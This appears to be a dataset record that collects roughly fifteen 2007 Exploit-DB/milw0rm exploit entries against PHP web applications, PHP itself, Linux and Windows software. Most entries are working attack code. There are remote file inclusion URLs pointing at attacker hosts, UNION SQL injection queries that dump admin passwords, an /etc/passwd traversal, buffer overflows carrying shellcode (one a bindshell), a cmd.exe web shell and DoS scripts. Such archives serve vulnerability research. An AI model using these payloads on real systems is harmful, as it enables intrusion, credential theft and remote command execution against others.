QLWD/code_shield huggingface dataset:
标题: work system E-Commerce 3.0.5 - Remote File Inclusion EDB-ID: 3448 CVE: 2007-1423 类型: WEBAPPS 平台: PHP 发布日期: 2007-03-10 漏洞利用脚本: #####################################################################################
Rodrigo Duarte
Wuefez[AT]2die4.com ;D

WORK system e-commerce:

WORK PHP,Mysql content management system CMS e-commerce or not : ajax, workflow,
content,package,language,currency,country,price,stock,group user,CSS,banner,logo,
link,partner,forum,new,FAQ,event,calendar,invoice,mailing,supplier,RSS, webservices.

Vulnerable Script:

~ include_top.php
(Other scripts of this project are also vulnerable with $g_include)

Vulnerable Code:

include ($g_include."include_logo.php");

PoC:

http://example/[WORK_system_path]/include/include_top.php?g_include=http://shell

d0rk:

[your_creativity_here]

greetz:

Cocada, FoNSECA, maxim noob
SHiKaA, ZeUsSixSixSix, Arthurcmc
pizzer, rmeira and darkers.com.br
and for all the rest, i miss.........

EOF:

BRAZILIAN RAQUER!
MAGIC PEOPLE, VOODOO PEOPLE!

#####################################################################################

defined('G_SESSION_OR_COOKIE') or header( "Location: index.php" );
if ( !isset($g_db_prefix) ) header( "Location: index.php" );

The above isn't the correct way to block inclusions.

# milw0rm.com [2007-03-10] URL: https://www.exploit-db.com/exploits/3448
标题: HC Newssystem 1.0-1.4 - 'index.php?ID' SQL Injection EDB-ID: 3449 CVE: 2007-1417 类型: WEBAPPS 平台: PHP 发布日期: 2007-03-10 漏洞利用脚本: HC NEWSSYSTEM 1.0-4 (index.php "ID") Blind SQL Injection

Type :

SQL Injection

Release Date :

{2007-03-08}

Product / Vendor :

HC Design News Publisher.

http://www.hcdesign.at/demo

Bug :

http://localhost/script/index.php?option=news&aktion=komm&ID=-SQL Inj.-

SQL Inj Code :

Admin Username/Password Query

http://localhost/path/index.php?option=news&aktion=komm&ID=-1/**/UNION/**/SELECT/**/null,null,mname,null,mpassword,null,null/**/FROM/**/hcmitglieder/**/WHERE/**/id=1/*

Tested :

HC NEWSSYSTEM Version:1.4

Vulnerable :

HC NEWSSYSTEM Version:1.0

-------------------------

HC NEWSSYSTEM Version:1.4

Note :

Title

"HC NEWSSYSTEM Version:1.4"

Admin Panel

http://www.victim.com/[path]/admin

Code Upload

http://www.victim.com/[path]/admin/upload.php

Author :

UniquE-Key{UniquE-Cracker}
UniquE(at)UniquE-Key.Org
http://www.UniquE-Key.Org

# milw0rm.com [2007-03-10] URL: https://www.exploit-db.com/exploits/3449
标题: PHP 5.2.0 - EXT/Filter FDF Post Filter Bypass EDB-ID: 3452 CVE: 2007-1452 类型: REMOTE 平台: MULTIPLE 发布日期: 2007-03-10 漏洞利用脚本: <?php
  ////////////////////////////////////////////////////////////////////////
  //  _  _                _                     _       ___  _  _  ___  //
  // | || | __ _  _ _  __| | ___  _ _   ___  __| | ___ | _ \| || || _ \ //
  // | __ |/ _` || '_|/ _` |/ -_)| ' \ / -_)/ _` ||___||  _/| __ ||  _/ //
  // |_||_|\__,_||_|  \__,_|\___||_||_|\___|\__,_|     |_|  |_||_||_|   //
  //                                                                    //
  //         Proof of concept code from the Hardened-PHP Project        //
  //                   (C) Copyright 2007 Stefan Esser                  //
  //                                                                    //
  ////////////////////////////////////////////////////////////////////////
  //            PHP ext/filtet FDF POST Filter Bybass Exploit           //
  ////////////////////////////////////////////////////////////////////////

  // This is meant as a protection against remote file inclusion.
  die("REMOVE THIS LINE");

  // _POST is the array that will be sent to the url in $url
  $_POST = array();
  $_POST['var1'] = "<script>alert(/XSS/);</script>";
  $_POST['var2'] = " ' UNION SELECT ";

  $url = "http://127.0.0.1/info.php";  
  
  // You do not need to change anything below this
  
  $outfdf = fdf_create();
  foreach ($_POST as $key => $value) {
    fdf_set_value($outfdf, $key, $value, 0);
  }
  fdf_save($outfdf, "outtest.fdf");
  fdf_close($outfdf);
  
  $ret = file_get_contents("outtest.fdf");
  unlink("outtest.fdf");
  
  $params = array('http' => array(
      'method' => 'POST',
      'content' => $ret,
      'header' => 'Content-Type: application/vnd.fdf'
  ));
  
  $ctx = stream_context_create($params);
  $fp = @fopen($url, 'rb', false, $ctx);
  if (!$fp) {
    die("Cannot open $url");
  }
  $response = @stream_get_contents($fp); 

  echo $response;
  echo "\n";
?> 

# milw0rm.com [2007-03-10] URL: https://www.exploit-db.com/exploits/3452
标题: Magic CMS 4.2.747 - 'mysave.php' Remote File Inclusion EDB-ID: 3438 CVE: 2007-1393 类型: WEBAPPS 平台: PHP 发布日期: 2007-03-08 漏洞利用脚本: \#'#/
                             (-.-)
   ---------------------oOO---(_)---OOo---------------------
   | Magic CMS v4.2.747 (mysave.php) Remote File Inclusion |
   |        (works only with register_globals = on)        |
   |                     coded by DNX                      |
   ---------------------------------------------------------
[!] Discovered: DNX
[!] Vendor: www.geo-soft.net/de-ch/
[!] Detected: 03.03.2007
[!] Reported: 03.03.2007
[!] Remote: yes

[!] Background: Magic CMS is an easy to use content 
    management system based on PHP.

[!] Bug: $file in mysave.php line 3 
         
         @include($file."/myconfig.php");
         
[!] PoC: http://[site]/[path]/mysave.php?file=[shell]

[!] Solution: Waiting for patch/update. No response from 
    vendor.

# milw0rm.com [2007-03-08] URL: https://www.exploit-db.com/exploits/3438
标题: Linux Omnikey Cardman 4040 Driver - Local Buffer Overflow (PoC) EDB-ID: 3441 CVE: 2007-0005 类型: DOS 平台: LINUX 发布日期: 2007-03-09 漏洞利用脚本: /*
 * Linux Omnikey Cardman 4040 driver buffer overflow (CVE-2007-0005)
 * Copyright (C) Daniel Roethlisberger <daniel.roethlisberger@csnc.ch>
 * Compass Security Network Computing AG, Rapperswil, Switzerland.
 * All rights reserved.
 * http://www.csnc.ch/
 */

#include<sys/stat.h>
#include<fcntl.h>
#include<unistd.h>
#include<stdlib.h>
#include<stdio.h>
#include<string.h>
#include<errno.h>

int main(int argc, char *argv[]) {
   int fd, i, n;
   char buf[8192];

   /*
    * 0  1  2  3  4  5  6  7  8  9  a  b  c  d  e  f  ...
    * 00 01 00 02 00 03 00 04 00 05 00 06 00 07 00 08 ...
    */
   for (i = 0; i < sizeof(buf); i += 2) {
       buf[i]   = (char)(((i/2) & 0xFF00) >> 8);
       buf[i+1] = (char) ((i/2) & 0x00FF);
   }

   if ((fd = open("/dev/cmx0", O_RDWR)) < 0) {
       printf("Error: open() => %s\n", strerror(errno));
       exit(errno);
   }
   if ((n = write(fd, buf, sizeof(buf))) < 0) {
       printf("Error: write() => %s\n", strerror(errno));
       exit(errno);
   }
   printf("%d of %d bytes written\n", n, sizeof(buf));
   exit(0);
}

// milw0rm.com [2007-03-09] URL: https://www.exploit-db.com/exploits/3441
标题: Rediff Toolbar - ActiveX Control Remote Denial of Service EDB-ID: 3433 CVE: 2007-1402 类型: DOS 平台: WINDOWS 发布日期: 2007-03-08 漏洞利用脚本: <!--
              Rediff Toolbar ActiveX Control Remote DOS Vulnerability
                          By Umesh Wanve (umesh_345@yahoo.com)

Reference: https://www.securityfocus.com/bid/21924

Date: 08- Jan - 2007

// CLSID: {12F02779-6D88-4958-8AD3-83C12D86ADC7}
// Info: Rediff Toolbar
// ProgID: XBTB00001.XBTB00001.1
// InprocServer32: Program Files\\Rediff Toolbar\\2.0\\redifftoolbar.dll

--!>


<html>

<body>
<OBJECT id="test" WIDTH=445 HEIGHT=40 classid="clsid:12F02779-6D88-4958-8AD3-83C12D86ADC7" >
</OBJECT>

<script language="vbscript">


</script>

</body>
</html>

# milw0rm.com [2007-03-08] URL: https://www.exploit-db.com/exploits/3433
标题: PHP 5.2.0 / PHP with PECL ZIP 1.8.3 - 'zip://' URL Wrapper Buffer Overflow EDB-ID: 3440 CVE: 2007-1399 类型: LOCAL 平台: LINUX 发布日期: 2007-03-09 漏洞利用脚本: <?php
  ////////////////////////////////////////////////////////////////////////
  //  _  _                _                     _       ___  _  _  ___  //
  // | || | __ _  _ _  __| | ___  _ _   ___  __| | ___ | _ \| || || _ \ //
  // | __ |/ _` || '_|/ _` |/ -_)| ' \ / -_)/ _` ||___||  _/| __ ||  _/ //
  // |_||_|\__,_||_|  \__,_|\___||_||_|\___|\__,_|     |_|  |_||_||_|   //
  //                                                                    //
  //         Proof of concept code from the Hardened-PHP Project        //
  //                   (C) Copyright 2007 Stefan Esser                  //
  //                                                                    //
  ////////////////////////////////////////////////////////////////////////
  //            PHP zip:// URL Wrapper Stack Buffer Overflow            //
  ////////////////////////////////////////////////////////////////////////

  // This is meant as a protection against remote file inclusion.
  die("REMOVE THIS LINE");

  // Offset of a POP EBP, RET inside the PHP binary
  $offset = 0x080d7da3;

  // linux x86 bindshell on port 4444 from Metasploit
  $shellcode = "\x29\xc9\x83\xe9\xeb\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x46".
      "\x32\x3c\xe5\x83\xeb\xfc\xe2\xf4\x77\xe9\x6f\xa6\x15\x58\x3e\x8f".
      "\x20\x6a\xa5\x6c\xa7\xff\xbc\x73\x05\x60\x5a\x8d\x57\x6e\x5a\xb6".
      "\xcf\xd3\x56\x83\x1e\x62\x6d\xb3\xcf\xd3\xf1\x65\xf6\x54\xed\x06".
      "\x8b\xb2\x6e\xb7\x10\x71\xb5\x04\xf6\x54\xf1\x65\xd5\x58\x3e\xbc".
      "\xf6\x0d\xf1\x65\x0f\x4b\xc5\x55\x4d\x60\x54\xca\x69\x41\x54\x8d".
      "\x69\x50\x55\x8b\xcf\xd1\x6e\xb6\xcf\xd3\xf1\x65";

  // Align the shellcode on 4 bytes      
  while (strlen($shellcode) % 4 != 0) $shellcode .= "X";

  // Convert Offset into String and calculate size
  $str = pack("L", $offset);
  $len = 4096 + 32 - strlen($shellcode) - 400;
  
  // Construct the filename
  $fname = "zip://A".str_repeat("A", 400)."$shellcode".str_repeat($str, $len / 4)."#EXPLOIT";


  
  // Trigger the EXPLOIT could also be a remote URL include
  fopen($fname,"a+");

?>

# milw0rm.com [2007-03-09] URL: https://www.exploit-db.com/exploits/3440
标题: WEBO (Web ORGanizer) 1.0 - 'baseDir' Remote File Inclusion EDB-ID: 3436 CVE: 2007-1391 类型: WEBAPPS 平台: PHP 发布日期: 2007-03-08 漏洞利用脚本: ____________________   ___ ___ ________
\_   _____/\_   ___ \ /   |   \\_____  \  
 |    __)_ /    \  \//    ~    \/   |   \ 
 |        \\     \___\    Y    /    |    \
/_______  / \______  /\___|_  /\_______  /
        \/         \/       \/         \/ 

                                        .OR.ID
ECHO_ADV_67$2007

-----------------------------------------------------------------------------------------
[ECHO_ADV_67$2007] WEBO (Web Organizer) <= 1.0 (baseDir) Remote File Inclusion Vulnerability
-----------------------------------------------------------------------------------------

Author         : M.Hasran Addahroni
Date           : March, 9th 2007
Location       : Australia, Sydney
Web            : http://advisories.echo.or.id/adv/adv67-K-159-2007.txt
Critical Lvl   : Dangerous
---------------------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application   : WEBO (Web Organizer) 
version       : 1.0
Vendor        : http://sourceforge.net/projects/weborganizer/
Description :

WEBO (Web Organizer) is an open-source Web application suite providing a groupware calendar, a personal address book, a shared contacts directory, and a personal desktop page.

---------------------------------------------------------------------------

Vulnerability:
~~~~~~~~~~~~~
- Invalid include function at modules/abook/foldertree.php :

---------------foldertree.php--------------------------------------
<?php

/* memento :
 TreeFolder( $label, $url="", $target="", $icon = "", $id="", $options=""  )
 TreeItem( $label, $url, $target="", $icon="", $options=""  )
*/

include_once( "$baseDir/lib/HTML/tree.php");
...
------------------------------------------------------------------

Variables $baseDir are not properly sanitized.
When register_globals=on and allow_fopenurl=on an attacker can exploit this vulnerability with a simple php injection script.


Poc/Exploit:
~~~~~~~~~

http://www.target.com/[webo_path]/modules/abook/foldertree.php?baseDir==http://attacker.com/evil?


Solution:
~~~~~~

- Sanitize variable $config_dir on affected files.
- Turn off register_globals

---------------------------------------------------------------------------

Shoutz:
~~~~
~ ping - my dearest wife, and my little son, for all the luv the tears n the breath
~ y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,negative, str0ke (for the best comments)
~ masterpop3,maSter-oP,Lieur-Euy,Mr_ny3m,bithedz,murp,an0maly,fleanux,baylaw
~ SinChan,h4ntu,cow_1seng,sakitjiwa, m_beben, rizal, cR4SH3R, madkid, kuntua, stev_manado, nofry, x16
~ newbie_hacker@yahoogroups.com
~ #aikmel #e-c-h-o @irc.dal.net

---------------------------------------------------------------------------
Contact:
~~~~~

     K-159 || echo|staff || eufrato[at]gmail[dot]com
     Homepage: http://k-159.echo.or.id/

-------------------------------- [ EOF ] ----------------------------------

# milw0rm.com [2007-03-08] URL: https://www.exploit-db.com/exploits/3436
标题: ProSysInfo TFTP Server TFTPDWIN 0.4.2 - 'UDP' Denial of Service EDB-ID: 3432 CVE: 2007-1404 类型: DOS 平台: WINDOWS 发布日期: 2007-03-08 漏洞利用脚本: #!/usr/bin/perl
#
#                            TFTPDWIN Server UDP DOS 0.4.2 POC 
#               written By : Umesh Wanve (umesh_345@yahoo.com)
# 
#-------------------------------------------------------------------------------

# TFTPDWIN Server is a Freeware TFTP server for Windows 9x/NT/XP.
# (http://www.tftpserver.prosysinfo.com.pl)
# A vulnerability has been identified in TFTP Server TFTPDWIN Server v0.4.2, which 
# could be exploited by remote or local attackers to execute arbitrary commands 
# or cause a denial of service. This flaw is when attacker sends UDP packet of length more than 516 bytes

#

#----------------------------Start of Code-------------------------------------



use IO::Socket;
use strict;

my($socket) = "";

if ($socket = IO::Socket::INET->new(PeerAddr => $ARGV[0],

PeerPort => "69",

Proto    => "UDP"))
{
                
                 print $socket "A" x 517;
                 sleep(1);
   
                
                 close($socket);
}
else
{
                 print "Cannot connect to $ARGV[0]:69\n";
}

# milw0rm.com [2007-03-08] URL: https://www.exploit-db.com/exploits/3432
标题: netForo! 0.1 - 'down.php?file_to_download' Remote File Disclosure EDB-ID: 3435 CVE: 2007-1392 类型: WEBAPPS 平台: PHP 发布日期: 2007-03-08 漏洞利用脚本: # netForo 0.1g(file_to_download)Remote File Disclosure Exploit
# D.Script: http://sourceforge.net/projects/netforo/
# Discovered by: GloD_M = [Mahmood_ali]
# Homepage: http://www.Tryag.cc
# Greetz To: Tryag-Team & 4lKaSrGoLd3n-Team & AsbMay's Group
# V.Code: readfile($_GET['file_to_download']);
# Exploit:[Path_netForo]/down.php?file_to_download=../../../../etc/passwd

# milw0rm.com [2007-03-08] URL: https://www.exploit-db.com/exploits/3435
标题: GaziYapBoz Game Portal - 'kategori.asp' SQL Injection EDB-ID: 3437 CVE: 2007-1410 类型: WEBAPPS 平台: ASP 发布日期: 2007-03-08 漏洞利用脚本: #Title  : GaziYapBoz Game Portal Remote SQL Injection Vulnerability
#Author : CyberGhost
#Page   : http://ucgenportal.somee.com/scriptler/gaziyapboz
#Download : http://www.aspindir.com/indir.asp?id=4765&sIslem=%DDndir

Vuln.

Username : /kategori.asp?kategori='+union+select+0,1,2,3,name,5,6,7,8,9+from+admin
Password : /kategori.asp?kategori='+union+select+0,1,2,3,password,5,6,7,8,9+from+admin

Login : /personelgirisizni.asp

====================================

Thanx : redLine - Hackinger - LiarHack - excellance - by_emR3 - kerem125 - Bolivar - Voltigore - CyberDefacer - ProfeSSionaL

And All TURKISH HACKERS

# milw0rm.com [2007-03-08] URL: https://www.exploit-db.com/exploits/3437
标题: PHP 4.4.6 - 'snmpget()' Object id Local Buffer Overflow EDB-ID: 3439 CVE: 2007-1413 类型: LOCAL 平台: WINDOWS 发布日期: 2007-03-09 漏洞利用脚本: <?php

// PHP 4.4.6 snmpget() object id local buffer overflow poc exploit
// by rgod
// site: http://retrogod.altervista.org

// win xp sp2 version
// to be launched form the cli


if (!extension_loaded("snmp")){
die("you need the snmp extension loaded.");
}

$____scode=
"\xeb\x1b".
"\x5b".
"\x31\xc0".
"\x50".
"\x31\xc0".
"\x88\x43\x59".
"\x53".
"\xbb\x6d\x13\x86\x7c". //WinExec
"\xff\xd3".
"\x31\xc0".
"\x50".
"\xbb\xda\xcd\x81\x7c". //ExitProcess
"\xff\xd3".
"\xe8\xe0\xff\xff\xff".
"\x63\x6d\x64".
"\x2e".
"\x65".
"\x78\x65".
"\x20\x2f".
"\x63\x20".
"start notepad & ";

$edx="\x64\x8f\x9b\x01"; //jmp scode
$eip="\x73\xdc\x82\x7c"; //0x7C82DC73      jmp edx
$____suntzu=str_repeat("A",188).$edx.str_repeat("A",64).$eip.str_repeat("\x90",48).$____scode.str_repeat("\x90",48);
//more than 256 chars result in simple eip overwrite
snmpget(1,1,$____suntzu);

?>

# milw0rm.com [2007-03-09] URL: https://www.exploit-db.com/exploits/3439
标题: PHP 4.4.6 - 'crack_opendict()' Local Buffer Overflow EDB-ID: 3431 CVE: 2007-1401 类型: LOCAL 平台: WINDOWS 发布日期: 2007-03-08 漏洞利用脚本: <?php
//PHP 4.4.6 crack_opendict() local buffer overflow poc exploit
//win2k sp3 version / seh overwrite method
//to be launched from the cli

// by rgod
// site: http://retrogod.altervista.org

if (!extension_loaded("crack")){
die("you need the crack extension loaded.");
}

$____scode=
"\xeb\x1b".
"\x5b".
"\x31\xc0".
"\x50".
"\x31\xc0".
"\x88\x43\x59".
"\x53".
"\xbb\xca\x73\xe9\x77". //WinExec
"\xff\xd3".
"\x31\xc0".
"\x50".
"\xbb\x5c\xcf\xe9\x77". //ExitProcess
"\xff\xd3".
"\xe8\xe0\xff\xff\xff".
"\x63\x6d\x64".
"\x2e".
"\x65".
"\x78\x65".
"\x20\x2f".
"\x63\x20".
"start notepad & ";

$jmp="\xeb\x06\x06\xeb"; // jmp short
$eip="\x86\xa0\xf8\x77"; // call ebx, ntdll.dll
$____suntzu.=str_repeat("A",3216);
$____suntzu.=$jmp.$eip.str_repeat("\x90",12).$____scode;
crack_opendict($____suntzu);

?>

# milw0rm.com [2007-03-08] URL: https://www.exploit-db.com/exploits/3431
标题: PHP 4.4.6 - 'cpdf_open()' Local Source Code Disclosure EDB-ID: 3442 CVE: 2007-1412 类型: LOCAL 平台: MULTIPLE 发布日期: 2007-03-09 漏洞利用脚本: <?php
   /*
   PHP 4.4.6 cpdf_open() source code disclosure poc
   by rgod
   site: http://retrogod.altervista.org

   to be launched from the cli

   this will show as output something like this:

   ClibPDF: Cannot open [A * 11111]$my_password_is="suntzu";[newline]
   $my_password_is="suntzu";[etc...] for PDF output
   X-Powered-By: PHP/4.4.6
   Content-type: text/html

   I don't see some echo, and you? :)
   */

   if (!extension_loaded("cpdf")){
       die("you need the cpdf extension loaded.");
   }
   $____buff=str_repeat('A',1111);

   $p=cpdf_open(1,$____buff);

   //some code with some information
   $my_password_is="suntzu";
   $my_password_is="suntzu";
   $my_password_is="suntzu";
   $my_password_is="suntzu";
   $my_password_is="suntzu";
   $my_password_is="suntzu";
   $my_password_is="suntzu";
   $my_password_is="suntzu";
   $my_password_is="suntzu";
   $my_password_is="suntzu";
   $my_password_is="suntzu";
   $my_password_is="suntzu";
   $my_password_is="suntzu";
   $my_password_is="suntzu";
   $my_password_is="suntzu";
   $my_password_is="suntzu";
   $my_password_is="suntzu";
   $my_password_is="suntzu";
   $my_password_is="suntzu";
   $my_password_is="suntzu";
   $my_password_is="suntzu";
   $my_password_is="suntzu";
   $my_password_is="suntzu";
   $my_password_is="suntzu";
   $my_password_is="suntzu";
   $my_password_is="suntzu";
   $my_password_is="suntzu";
   $my_password_is="suntzu";
   $my_password_is="suntzu";
   $my_password_is="suntzu";
   $my_password_is="suntzu";
   $my_password_is="suntzu";
   $my_password_is="suntzu";
   $my_password_is="suntzu";
   $my_password_is="suntzu";
   $my_password_is="suntzu";
   $my_password_is="suntzu";
   $my_password_is="suntzu";
   $my_password_is="suntzu";
   $my_password_is="suntzu";
   $my_password_is="suntzu";
   $my_password_is="suntzu";
   $my_password_is="suntzu";
   $my_password_is="suntzu";
   $my_password_is="suntzu";
   $my_password_is="suntzu";
   $my_password_is="suntzu";
   $my_password_is="suntzu";
   $my_password_is="suntzu";
   $my_password_is="suntzu";
   $my_password_is="suntzu";
   $my_password_is="suntzu";
   $my_password_is="suntzu";
   $my_password_is="suntzu";
   $my_password_is="suntzu";
   $my_password_is="suntzu";

?>

# milw0rm.com [2007-03-09] URL: https://www.exploit-db.com/exploits/3442
标题: PHP 'COM' Extensions - inconsistent Win32 'safe_mode' Bypass EDB-ID: 3429 CVE: 2007-1382 类型: LOCAL 平台: WINDOWS 发布日期: 2007-03-07 漏洞利用脚本: <?php
   //PHP COM extensions (inconsistent Win32) safe_mode bypass

    $____suntzu = new COM("WScript.Shell");
    $____suntzu->Run('c:\windows\system32\cmd.exe /c '.escapeshellarg($_GET[cmd]).' > '.dirname($_SERVER[SCRIPT_FILENAME]).'/suntzoi.txt');
    $____suntzoi=file("suntzoi.txt");
    for ($i=0; $i<count($____suntzoi); $i++) {echo nl2br(htmlentities($____suntzoi[$i]));}

   // *quote* from the php manual:
   // There is no installation needed to use these functions; they are part of the PHP core.

   // The windows version of PHP has built in support for this extension. You do not need to load any additional extension in order to use these functions.

   // You are responsible for installing support for the various COM objects that you intend to use (such as MS Word);
   // we don't and can't bundle all of those with PHP.
?>

# milw0rm.com [2007-03-07] URL: https://www.exploit-db.com/exploits/3429
标题: Adobe Reader Plugin 'AcroPDF.dll' 8.0.0.0 - Resource Consumption EDB-ID: 3430 CVE: 2007-1377 类型: DOS 平台: WINDOWS 发布日期: 2007-03-08 漏洞利用脚本: <!--------------------------------------------------------------------------------
Adobe PDF Reader plug-in AcroPDF.dll ver. 8.0.0.0 Resource Consumption
author: shinnai
mail: shinnai[at]autistici[dot]org
site: http://www.shinnai.altervista.org

Well, Adobe guys do a good job after the publication of a variety of
bug in AcroPDF.dll, one for all

From Secunia:
"Input passed to a hosted PDF file is not properly sanitised by the
  browser plug-in before being returned to users. This can be exploited
  to execute arbitrary script code in a user's browser session in context
  of an affected site."

So now the dll is able to understand when you're trying to insert something
wrong prompting you with "One or more of the query terms are too long."
and that's a good thing but... I thought "can this dll sanitise chars like 
%n"
Well the answer is: no.

Unfortunately (sure depends by the point of view) Internet Explorer is
not useful for a test 'cause a limited number of chars (only 2083) is 
admitted
in the address bar, so we need to use browser like Firefox and stuff like
that.
When you browse to a hosted pdf file like this
http://somesite/poc.pdf#search=%n%n%n... x 10000 (or much more if you like)
the browse will stop to answer until the process AcroRd32.exe crashes,
the CPU usage is about 50-60% and the paging file usage grow until
it's full and you have the message "Insufficient virtual memory..."
Here's a proof of concept, for online demonstration see:
http://www.shinnai.altervista.org/adobe.html

txt version here: http://www.shinnai.altervista.org/txt/adobe.txt
-------------------------------------------------------------------------------->

<script language="javascript">
var browserName=navigator.appName;

if (browserName=="Netscape")
{var f = ""
var c = ""
  for (var i = 0; i <= 10000; i++) {
   var f = f + "%n";
  }
document.location = "http://www.shinnai.altervista.org/pucca.pdf#search=" + 
(f)
}
else if (browserName=='Opera')
{var f = ""
var c = ""
  for (var i = 0; i <= 10000; i++) {
   var f = f + "%n";
  }
document.location = "http://www.shinnai.altervista.org/pucca.pdf#search=" + 
(f)
}
else if (browserName=='Microsoft Internet Explorer')
{
alert("This exploit doesn't work with IE. You need to use Firefox and stuff 
like that.");
document.location="http://www.shinnai.altervista.org";
}
else
{
alert("Mmm... I don't know what are you browsing with here, so no martini no 
party.");
}
</script>

# milw0rm.com [2007-03-08] URL: https://www.exploit-db.com/exploits/3430